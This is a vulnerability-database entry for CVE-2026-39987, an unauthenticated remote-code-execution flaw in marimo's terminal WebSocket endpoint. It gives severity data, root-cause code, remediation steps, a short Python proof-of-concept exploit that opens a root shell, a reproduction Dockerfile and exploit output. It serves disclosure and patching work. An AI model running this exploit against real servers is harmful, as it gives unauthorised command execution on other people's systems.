Skip to main content

Python EUVDEUVD-2026-20980

| CVE-2026-39987 CRITICAL
Missing Authentication for Critical Function (CWE-306)
2026-04-08 https://github.com/marimo-team/marimo GHSA-2679-6mx9-h9xc
9.3
CVSS 4.0 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Connect to /terminal/ws WebSocket endpoint
  2. Exploit
    Bypass missing authentication validation
  3. Execution
    Obtain interactive PTY shell
  4. Impact
    Execute arbitrary system commands

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Authentication required for critical functions
MITRE ATT&CK

1 technique across 1 tactic: Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Remote unauthenticated attacker can exploit Marimo versions ≤0.20.4 by connecting to the unprotected /terminal/ws WebSocket endpoint. No authentication required. The vulnerability exists in default configurations where the terminal feature is accessible over the network.

Impact

Unauthenticated pre-auth RCE on terminal WebSocket endpoint enables arbitrary command execution as root in default Docker deployments. Attack vector is network/unauthenticated with low complexity; no user interaction required. Patch available from vendor. Criticality stems from complete system compromise via single WebSocket connection, regardless of server-level authentication configuration.

Exploit ScenarioDerived

Attacker connects to ws://TARGET:2718/terminal/ws without credentials; endpoint accepts connection directly due to missing validate_auth() call. pty.fork() creates interactive shell; attacker sends arbitrary commands (e.g., id) executed as root. Publicly available exploit code exists.

Act Now Prioritize within 24-48h. Why: In CISA KEV with patch available.
Exploited in the wild (CISA KEV) Patch available 2.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 09, 2026

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the /terminal/ws WebSocket endpoint. The terminal handler skips authentication validation entirely, accepting connections without credential checks and spawning PTY shells directly. Attackers obtain full interactive shell access as root in default Docker deployments through a single WebSocket connection, bypassing Marimo's authentication middleware. No public exploit identified at time of analysis.

RemediationAI

Vendor-released patch: Marimo 0.20.5 or later. Apply GitHub commit c24d4806398f30be6b12acd6c60d1d7c68cfd12a which adds WebSocketConnectionValidator.validate_auth() to the terminal endpoint, matching authentication enforcement in other WebSocket routes. Upgrade immediately via pip install --upgrade marimo. Workaround for unpatched systems: Disable terminal functionality by restricting edit mode access, implement network-level access controls to block unauthenticated WebSocket connections to port 2718, or run Marimo instances behind authenticated reverse proxies. Restrict container privileges and avoid root execution contexts. Official advisory and patch details: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc and https://github.com/marimo-team/marimo/pull/9098

Affected VersionsENISA

marimo < 0.23.0

Affected Packages

pypi marimo fix: 0.23.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The /terminal/ws WebSocket route in terminal.py lacks validate_auth() calls present in other endpoints like /ws. Starlette's AuthenticationMiddleware marks unauthenticated users but does not reject WebSocket connections without endpoint-level @requires() decorators or explicit validation. The handler immediately calls pty.fork() after verifying edit mode and platform support, spawning shell processes for unauthenticated clients.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Added to CISA KEV
Apr 23, 2026 - 17:46 CISA
Patch released
Apr 09, 2026 - 14:45 nvd
Patch available
CVE Published
Apr 08, 2026 - 21:50 nvd
CRITICAL 9.3

DescriptionGitHub Advisory

Summary

Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.

Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.

Affected Versions

Marimo <= 0.20.4

Vulnerability Details

Root Cause: Terminal WebSocket Missing Authentication

marimo/_server/api/endpoints/terminal.py lines 340-356:

python
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
# No authentication check!
    await websocket.accept()
# Accepts connection directly
# ...
    child_pid, fd = pty.fork()
# Creates PTY shell

Compare with the correctly implemented /ws endpoint (ws_endpoint.py lines 67-82):

python
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    validator = WebSocketConnectionValidator(websocket, app_state)
    if not await validator.validate_auth():
# Correct auth check
        return

Authentication Middleware Limitation

Marimo uses Starlette's AuthenticationMiddleware, which marks failed auth connections as UnauthenticatedUser but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level @requires() decorators or validate_auth() calls.

The /terminal/ws endpoint has neither a @requires("edit") decorator nor a validate_auth() call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.

Attack Chain

  1. WebSocket connect to ws://TARGET:2718/terminal/ws (no auth needed)
  2. websocket.accept() accepts the connection directly
  3. pty.fork() creates a PTY child process
  4. Full interactive shell with arbitrary command execution
  5. Commands run as root in default Docker deployments

A single WebSocket connection yields a complete interactive shell.

Proof of Concept

python
import websocket
import time
# Connect without any authentication
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)
# Drain initial output
try:
    while True:
        ws.settimeout(1)
        ws.recv()
except:
    pass
# Execute arbitrary command
ws.settimeout(10)
ws.send('id\n')
time.sleep(2)
print(ws.recv())
# uid=0(root) gid=0(root) groups=0(root)
ws.close()

Reproduction Environment

dockerfile
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]

Reproduction Result

With auth enabled (server generates random access_token), the exploit bypasses authentication entirely:

$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname"
[+] No auth needed! Terminal WebSocket connected
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
ddfc452129c3

Suggested Remediation

  1. Add authentication validation to /terminal/ws endpoint, consistent with /ws using WebSocketConnectionValidator.validate_auth()
  2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints
  3. Terminal functionality should only be available when explicitly enabled, not on by default

Impact

An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.

Executive ViewAI

Why It Matters

Marimo versions 0.20.4 and earlier contain a critical authentication bypass in the WebSocket terminal endpoint that allows unauthenticated attackers to execute arbitrary commands with root privileges. Organizations running Marimo in production, particularly in containerized environments, face immediate risk of complete system compromise without credential validation. Immediate patching is required to prevent unauthorized access to underlying infrastructure.

Business Impact: Severe
Compensating Controls

Apply vendor patch. If immediate patching is not feasible: implement network-level access controls to restrict inbound connections to the WebSocket endpoint; deploy a reverse proxy with authentication enforcement ahead of Marimo; isolate affected Marimo instances to internal networks only; disable WebSocket terminal functionality if not operationally required.

Threat Intelligence Overview

Threat Score
4.9/10
Composite threat intelligence
EPSS Score
2.7%
Top 14% exploitable
Threat Intel
3
1 sources
Exploit
POC
Public exploit code exists
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org CISA KEV EPSS Vulnrichment NEWS GHSA POC (1) Exploit-DB GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV Yes
Public POC Yes
EPSS 2.7%
Patch available Yes
Active threat Yes
Deciding rule
In CISA KEV with patch available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

119
Low Medium High Critical
KEV: +50
EPSS: +3
CVSS: +46
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy